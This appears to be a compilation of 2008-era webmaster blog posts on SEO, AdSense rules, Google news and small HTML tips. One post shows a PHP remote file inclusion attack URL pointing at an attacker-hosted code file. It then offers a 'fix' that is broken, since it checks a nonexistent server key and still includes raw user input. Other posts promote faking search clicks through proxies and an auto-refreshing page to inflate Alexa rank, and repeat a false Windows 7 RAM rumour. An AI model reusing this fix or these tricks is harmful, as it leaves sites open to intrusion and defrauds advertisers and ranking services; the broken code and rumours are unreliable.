What this involves in where some Webmasters hire some people in China (Because it is “cheaper” apparently) to drive around internet cafe’s around the area and search a desired key phrase on Google and then click on the Webmaster’s result. This is supposed to increase the rankings as a few Webmasters who have tried it have said. We can’t really say whether it is true or not without more research into the idea.

If this really is true and the number of clicks is actually a factor used in the Google SERPs, then that means anyone could easily manipulate it. Those people who have a lot of contact to people around the world (Such as on Instant Messengers) will have a big advantage because it doesn’t take much just to ask them to do so.

The funny thing is that these Webmasters are paying these Chinese workers to do so when they’ve forgotten one simple thing they could do which is free - Proxies. Anyone could just do so through multiple proxies and it could work, it would be far easier. That is if it is actually true though.

We obviously need more proof that it works, but its a very unique idea.

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This is a very silly move for Google since they do have an international company, so it doesn’t seem much sense to ban some of their clients in other countries. Doesn’t make sense to most.

What is funny though is that users in these countries can still see Google Advertisements and can still click them with no problem. Basically, they’re saying you can’t use their software, but you can make them some money through their Google Adsense - Google Adwords system.

They have also blocked the use of some other Applications too, such as Google Talk and the Gmail Notifier.

You can read some more into this strange announce at the Official Article. Hopefully you’ll find it an interesting read, we did.

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• Content - You need good content on your website or Google will ban you. Google hate websites full of advertisements but little content, so the more the better.
• Hidden Texts - They also don’t like you using very small or hidden texts in order to change the types of advertisements shown to increase revenue. Google can still notice it and probably will punish you for it.
• Ads - Whatever you do, do not click your own advertisements. This is one of the most common reasons that people get banned. They easily detect it and you will get banned for doing so. As well as this, do not participate in Click Exchanges. They will find out about these too. Just think, you’d be wasting advertisers money for your own benefit, not kind. Even writing on your website asking them to click your advertisements will get you punished.
• Cover Ups - Don’t try to cover up the Google Advertisement part of the unit - The “Ads by Google” part. This can be done by using div’s, but Google will ban you for it.
• Images and Ads - Don’t place your advertisements next to images that will focus the attention on the advertisements. Google are very clever and will find out.

Those are just the most common ways people get banned. Make sure you follow those tips.

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Microsoft have officially announced that they will hand out Windows 7 Pre-Beta releases to people at the Professional Developer Conference (PDC) in late October and the Windows Hardware Engineering Conference (WinHEC) in early November. The official release for the public is said to be released in 2010.

One rumour that could be true is quite shocking - The minimum requirements to run Windows 7 is a massive 4GB Ram! Of course this might be fine for people buying new computers because it will come with it on straight away, but the problem is that not many people will be able to upgrade to Windows 7 anyway because of the requirements, meaning that they’d need to upgrade their PC as well as paying for the upgraded Operating System. Another requirement is 20GB space for the Operating System, which again is quite a lot.

You can see a screenshot of it here too.

Looks remarkably like Vista.

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They’ve just brought out another rule, bringing the rules to a whole new level of dumb. As you probably know if you’re a regular on the DigitalPoint Forums, there is a very popular Web Hosting section where users advertise and make requests for Web Hosting. This is where all the Web Hosting threads should go.

This is where the new rule comes in.

If the first package you are selling is lower than $5, then they will now move your thread to the Freebies? Not quite sure of the reason, surely if you’re selling Web Hosting then it should go in the Web Hosting forum. This means that good quality Web Hosting threads are put with the rest of the “Free Wordpress Themes” and “Free E-Books”, thats going to lower the attention of the threads and just make the forum more untidy.

The worst point about the rule (And probably the dumbest part about it) is that you get an infraction for it. Even if you posted before the rule started. We started a thread on the September 26th and we’ve just been given an infraction from a rule they brought out yesterday. Surely how can we have abided by the rules if they haven’t even been brought out yet?

A moderator on the forums said:

“If any of your packages listed are $5 or under (or barely over $5 solely to try to get around the rule - like $5.01 or some BS), the WHOLE THREAD belongs in Freebies. This is because you’re not allowed to exchange iTrader on anything at that level or below, so any thread with those kinds of deals belongs in Freebies where that functionality is disabled. Don’t like it? Split into two threads - $5 and under in freebies and the rest in a Web hosting thread.”

Very, very dumb. Just when you thought the rules couldn’t get any more dumb.

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You’ve probably already heard of Google Translator. There is an option to “Translate My Page” which you can put on your website. This way, your users can translate your content into whatever language they want - Saving you the time of having to translate it all yourself. They have added some more features though.

In some places on your content, you may not want parts of it to be translated. Now, you can stop content in a HTML element from being translated by using the following code:

class=”notranslate”

You would just put that into something like a span code and it should stop it from being translated. However, if you wanted a whole page not to be translated, you would use the following code:

<meta name=”google” value=”notranslate”>

If you put that code in the head where the rest of the Meta Tags then you’ll see the whole page won’t be translated.

The one problem with this is that it obviously cannot translate text that are put into images. I doubt this will be something they will work on, so if you want to translate text from your images, you’ll unfortunately need to do this yourself.

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Obviously, to get Google to index and rank your images you’ll need Google to find your images first. This means using them on your web pages or on other websites. This should allow them to find the image, pretty much the same as it does for a backlink.

One thing that Google needs to see if you want images to rank is Alt and possibly Title tags. This is because Google itself cannot read images or detect what its about, so it relies on these tags to find out. If you use your images on your website, you should try to use Alt and Title tags all the time. It’s pretty easy to do, just use the following code:

<img src=”LINK_TO_IMAGE.jpg” alt=”Small Description of Image” title=”Image of IMAGE” />

The alt tag is what is shown when the image can’t be displayed or can’t be found and its also used by Google to find out what the image is about. The title tag is what is shown when you hover over the image, a small box appears and shows the text. This is helpful for users.

In conclusion, it isn’t that difficult to get your images indexed, you just need to use correct HTML and use the images around as much as possible.

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Luckily, this short post will tell you how to quickly fix this Security issue.

First, open up your index.php file.

Find this code:

else
{
include($_GET["page"].”.php”);
}

This is the code that is the problem. It grabs the file from a GET variable and executes it. That means anyone could just go to http://www.yourarticledirectory.com/index.php?page=http://www.attackers-website.com/malicious-code.txt and then it would execute the code in the text file.

This is just a small fix for it. Replace that code with the following:

else
{
if (file_exists($_SERVER["root"].”".$_GET["page"].”.php”
) == 1) {  include $_GET["page"].”.php”
; }
}

What this code does is it checks if the file exists in the root directory of your article directory first. This should solve the problem because obviously there won’t be a file called http://www.url.com/code.txt in your root directory, so it shouldn’t be able to execute.

Then just save the file, upload it and that major Security flaw should now be solved.

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1) Create a new HTML file. You can call it whatever you want - I recommend alexa.html. Put the following code in the file:

<html>
<head>
<title>Smart Alexa Booster</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<META HTTP-EQUIV="REFRESH" CONTENT="2">
</head>

<body bgcolor="#FFFFFF">
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4">ALEXA
  TEST PAGE<br>
  </font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4">IMPORTANT
  - Let This Page Run For 15 Minutes Or More Daily Until The Test Is Done. <br>
  <br>

  Bookmark (ADD TO FAVORITES) - This Page to see the results Update Daily.<br>
  <br>
  If You Haven't Done So, Please Install The Alexa Tool Bar by clicking this link.<br>
  <a href="http://download.alexa.com/index.cgi?p=" target="_blank">http://download.alexa.com/index.cgi?p=</a></font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4"><br>
  <font color="#CC0000">Try And Test For 1 Month Minimum For best results :)</font></font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4" color="#CC0000">We
  hope to take that 1 Test Member to the movers and shakers page on Alexa.com<br>

  which will be seen by MILLIONS of Internet users! If the site hits the movers
  and shakers, you could become <br>
  the next Internet millionaire depending on your product that you are selling!
  Good Luck and thank you!</font><font size="4"><br>
  <br>
  </font></b></font></p>
<p> <font face="Arial, Helvetica, sans-serif" size="-1">
  <script type='text/javascript' language='JavaScript' src='http://xsltcache.alexa.com/traffic_graph/js/g/c/3m?&u=www.example.com'></script>
  <br>

  <br>

  <br>
  <br>
  <b><font color="#000066">START OF TEST</font></b><font color="#000066">: <STARTING DATE><br>
  Ranking - <YOUR ALEXA AT START> Most Viewed Site in The World<br>

  <br>

<br><br>
<SCRIPT type='text/javascript' language='JavaScript' src='http://xslt.alexa.com/site_stats/js/s/a?url=www.example.com'></SCRIPT>
  <br>
  <br>
  <br>
  <br>

  <br>

  </font></font></p>
</body>

</html>

Then change the www.example.com to your URL. Then upload the file into the public area of your website so you can access the page through a Web Browser. Now, go to the page in a browser and you should have some graphs shown about your site, and the page being refreshed every 2 seconds. Keep this running for as long as possible. Make sure that you have the Alexa Toolbar installed or it won’t work.

The more IP’s that run it the better, so try to get friends to run that page too (With the Alexa Toolbar). Overtime, you should notice a significant difference.

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Luckily for Google, Mochi Media, a very large in-game advertising company, have given Google access to their inventory. This means that Google will already have a large selection of advertisements for publishers to start from. Very clever of Google to arrange this.

The advertising will work like ordinary Google advertisements. Advertisers will be able to bid on spots in specific game genres or even specific games, and they have an “auction” like on Google Adwords now to get the top spots. The revenue will work on a CPM and a CPC basis. Advertisements might not work as well on click basis so I can imagine there will be a lot of advertisers on impressions.

Several large companies have been testing the Adsense for Games for quite a while. Soon us publishers and advertisers will have access to it, and test.

The majority of advertisers will more than likely be Gaming sites, for obvious reasons. It wouldn’t make much sense for a Web Hosting Company or a Health site to advertise in the middle of a game, it wouldn’t have much of an effect.

One of the key things we should think about with Adsense for Games is the end user - The person playing the games. I’m sure they would be quite annoyed if advertisements started showing in games when there is already enough advertisements on actual Web Pages. There are a lot of Ad Blockers released, mainly for Firefox, but will they be able to block the advertisements in games? Probably not.

We will have to see how Google handle this, and if Adsense for Games is a success.

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